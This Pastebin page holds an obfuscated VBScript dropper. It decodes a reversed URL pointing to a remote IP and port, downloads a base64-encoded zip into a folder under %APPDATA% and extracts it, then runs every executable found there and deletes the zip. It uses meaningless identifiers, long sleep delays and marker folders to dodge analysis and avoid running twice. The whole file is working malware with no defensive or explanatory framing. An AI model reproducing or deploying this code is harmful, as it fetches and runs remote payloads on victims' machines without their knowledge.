SHARE
TWEET

Untitled

a guest Feb 21st, 2020 75 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Option Explicit
  2. DIM DZIP,N_VR,STPASTALOKA,PSTLM,NMEXE,CLK,pqssvvxyyA,OBJffhhikmnnprssuvxxzA,objFeSO
  3. DZIP     = StrReverse("osi.LLUFNPSEDMND/2491:21.581.881.51//:ptth")
  4. Set OBJffhhikmnnprssuvxxzA = CreateObject( "WScript.Shell" )    
  5. pqssvvxyyA =OBJffhhikmnnprssuvxxzA.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37)))
  6. N_VR = "A99449C3092CE70964CE715CF7BB75B.zip"
  7. WScript.Sleep 100
  8. PSTLM = pqssvvxyyA + "\spaintricnos"
  9. CCDDFGIIKLLNPQQSTT
  10. STPASTALOKA = PSTLM
  11. WScript.Sleep 100
  12. TEMMORRE
  13. WScript.Sleep 100
  14. DVTVWYabddegiijllnooqrrtvvwyAABDDFG
  15. WScript.Sleep 32303
  16. XCnoqsttvxyAABDFGIYddfgiklnnpqs
  17. WScript.Sleep 32210
  18. DCSUUVXYaccdffhiikmmnppqsuuvxxzAACD
  19. WScript.Sleep 2424
  20. WScript.Sleep 124
  21. WScript.Sleep 124
  22. DCWWXZbcceffhjjkmmopprsuuwxx
  23. Function DCWWXZbcceffhjjkmmopprsuuwxx()
  24. Dim ClqtEEGIJLLNOQQRTTVWYYLM,jrthjjkmoprttuwyyw,jxtmnppsuuvxzzACDD,ColtPRTUYZZbdeeghhjlm
  25. Set ClqtEEGIJLLNOQQRTTVWYYLM = WScript.CreateObject( "WScript.Shell" )
  26. WScript.Sleep 70
  27. Set jrthjjkmoprttuwyyw = CreateObject( "Scripting.FileSystemObject" )
  28. WScript.Sleep 50
  29. WScript.Sleep 50
  30. Set jxtmnppsuuvxzzACDD = jrthjjkmoprttuwyyw.GetFolder(PSTLM)
  31. WScript.Sleep 40
  32. WScript.Sleep 50
  33. Set ColtPRTUYZZbdeeghhjlm = jxtmnppsuuvxzzACDD.Files
  34. WScript.Sleep 60
  35. WScript.Sleep 50
  36. For Each ColtPRTUYZZbdeeghhjlm in ColtPRTUYZZbdeeghhjlm
  37. If UCase(jrthjjkmoprttuwyyw.GetExtensionName(ColtPRTUYZZbdeeghhjlm.name)) = UCase(Chr(69)) & UCase(Chr(88)) &UCase(Chr(69)) Then
  38. NMEXE = ColtPRTUYZZbdeeghhjlm.Name
  39. ClqtEEGIJLLNOQQRTTVWYYLM.Exec(PSTLM & UCase(Chr(92)) & ColtPRTUYZZbdeeghhjlm.Name)
  40. WScript.Sleep 44
  41. End If
  42. Next
  43. End Function
  44. Function GTEK( myPassPhrase )
  45.     Dim i, arrCode( )
  46.     ReDim arrCode( Len( myPassPhrase ) - 1 )
  47.     For i = 0 To UBound( arrCode )
  48.         arrCode(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )
  49.     Next
  50.     GTEK = arrCode
  51. End Function
  52. Function XCnoqsttvxyAABDFGIYddfgiklnnpqs()
  53. DIM ClqtEEGIJLLNOQQRTTVWYY,FilesInZip
  54. set ClqtEEGIJLLNOQQRTTVWYY = CreateObject("Shell.Application")
  55. set FilesInZip=ClqtEEGIJLLNOQQRTTVWYY.NameSpace(PSTLM & UCase(Chr(92)) & N_VR).items
  56. ClqtEEGIJLLNOQQRTTVWYY.NameSpace(PSTLM & UCase(Chr(92))).CopyHere(FilesInZip), UCase(Chr(52))
  57. Set ClqtEEGIJLLNOQQRTTVWYY = Nothing
  58. End Function
  59. Function DCSUUVXYaccdffhiikmmnppqsuuvxxzAACD()
  60. DIM jrthjjkmoprttuwyyxsd
  61. Set jrthjjkmoprttuwyyxsd = Createobject("Scripting.FileSystemObject")
  62. jrthjjkmoprttuwyyxsd.DeleteFile PSTLM & UCase(Chr(92)) & N_VR
  63. End Function
  64. Function tOjjllooqrttvwy( myFileIn, myFileOut, arrCode )
  65.     Dim i, jrthjjkmoprttuwyy, ColtPRTUYZZbdeeghhjlmIn, ColtPRTUYZZbdeeghhjlmOut, objStreamIn
  66.     Const ForAppending       =  8
  67.     Const ForReading         =  1
  68.     Const ForWriting         =  2
  69.     Const TristateFalse      =  0
  70.     Const TristateMixed      = -2
  71.     Const TristateTrue       = -1
  72.     Const TristateUseDefault = -2
  73.     On Error Resume Next
  74.     If Not IsArray( arrCode ) Then
  75.         arrCode = Array( arrCode )
  76.     End If
  77.     For i = 0 To UBound( arrCode )
  78.         If Not IsNumeric( arrCode(i) ) Then
  79.  
  80.             Encode = 1032
  81.             Exit Function
  82.         End If
  83.         If arrCode(i) < 0 Or arrCode(i) > 255 Then
  84.  
  85.             Encode = 1031
  86.             Exit Function
  87.         End If
  88.     Next
  89.     Set jrthjjkmoprttuwyy = CreateObject( "Scripting.FileSystemObject" )
  90.     If jrthjjkmoprttuwyy.FileExists( myFileIn ) Then
  91.         Set ColtPRTUYZZbdeeghhjlmIn   = jrthjjkmoprttuwyy.GetFile( myFileIn )
  92.         Set objStreamIn = ColtPRTUYZZbdeeghhjlmIn.OpenAsTextStream( ForReading, TriStateFalse )
  93.     Else        
  94.         Encode = 53      
  95.         objStreamIn.Close
  96.         Set objStreamIn = Nothing
  97.         Set ColtPRTUYZZbdeeghhjlmIn   = Nothing
  98.         Set jrthjjkmoprttuwyy      = Nothing
  99.        
  100.         Exit Function
  101.     End If  
  102.     If jrthjjkmoprttuwyy.FileExists( myFileOut ) Then
  103.         ' Error 58: File already exists
  104.         Encode = 58
  105.         ' Close input file and release objects
  106.         objStreamIn.Close
  107.         Set objStreamIn = Nothing
  108.         Set ColtPRTUYZZbdeeghhjlmIn   = Nothing
  109.         Set jrthjjkmoprttuwyy      = Nothing
  110.         ' Abort
  111.         Exit Function
  112.     Else
  113.         Set ColtPRTUYZZbdeeghhjlmOut = jrthjjkmoprttuwyy.CreateTextFile( myFileOut, True, False )
  114.     End If    
  115.     i = 0
  116.     Do Until objStreamIn.AtEndOfStream
  117.         i = ( i + 1 ) \ ( UBound( arrCode ) + 1 )
  118.         ColtPRTUYZZbdeeghhjlmOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor arrCode(i) )
  119.     Loop  
  120.     ColtPRTUYZZbdeeghhjlmOut.Close
  121.     objStreamIn.Close
  122.     Set objStreamIn = Nothing
  123.     Set ColtPRTUYZZbdeeghhjlmIn   = Nothing
  124.     Set ColtPRTUYZZbdeeghhjlmOut  = Nothing
  125.     Set jrthjjkmoprttuwyy      = Nothing    
  126.     Encode = Err.Number
  127.     Err.Clear
  128.     On Error Goto 0
  129. End Function
  130. Function DVTVWYabddegiijllnooqrrtvvwyAABDDFG()
  131. DIM req
  132. Set req = CreateObject("Msxml2.XMLHttp.6.0")
  133. req.open "GET", DZIP, False
  134. req.send
  135. If req.Status = 200 Then
  136.  Dim oNode, BinaryStream
  137. Const adTypeBinary = 1
  138. Const adSaveCreateOverWrite = 2
  139. Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
  140. oNode.dataType = "bin.base64"
  141. oNode.text = req.responseText
  142. Set BinaryStream = CreateObject("ADODB.Stream")
  143. BinaryStream.Type = adTypeBinary
  144. BinaryStream.Open
  145. BinaryStream.Write oNode.nodeTypedValue
  146. BinaryStream.SaveToFile PSTLM & UCase(Chr(92)) & N_VR, adSaveCreateOverWrite
  147. End if
  148. End Function
  149. Function CCDDFGIIKLLNPQQSTT()
  150. dim mqXFFRJUWm
  151. Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")
  152. If (mqXFFRJUWm.FolderExists((PSTLM) )) Then
  153. WScript.Quit()
  154. End If                      
  155. End Function
  156. Function TEMMORRE()
  157. SET objFeSO = CREATEOBJECT("Scripting.FileSystemObject")
  158. IF objFeSO.FolderExists(pqssvvxyyA + "\OLEDAT") = TRUE THEN WScript.Quit() END IF
  159. IF objFeSO.FolderExists(STPASTALOKA) = FALSE THEN
  160. objFeSO.CreateFolder STPASTALOKA
  161. objFeSO.CreateFolder OBJffhhikmnnprssuvxxzA.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37))) + "\OLEDAT"
  162. END IF
  163. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top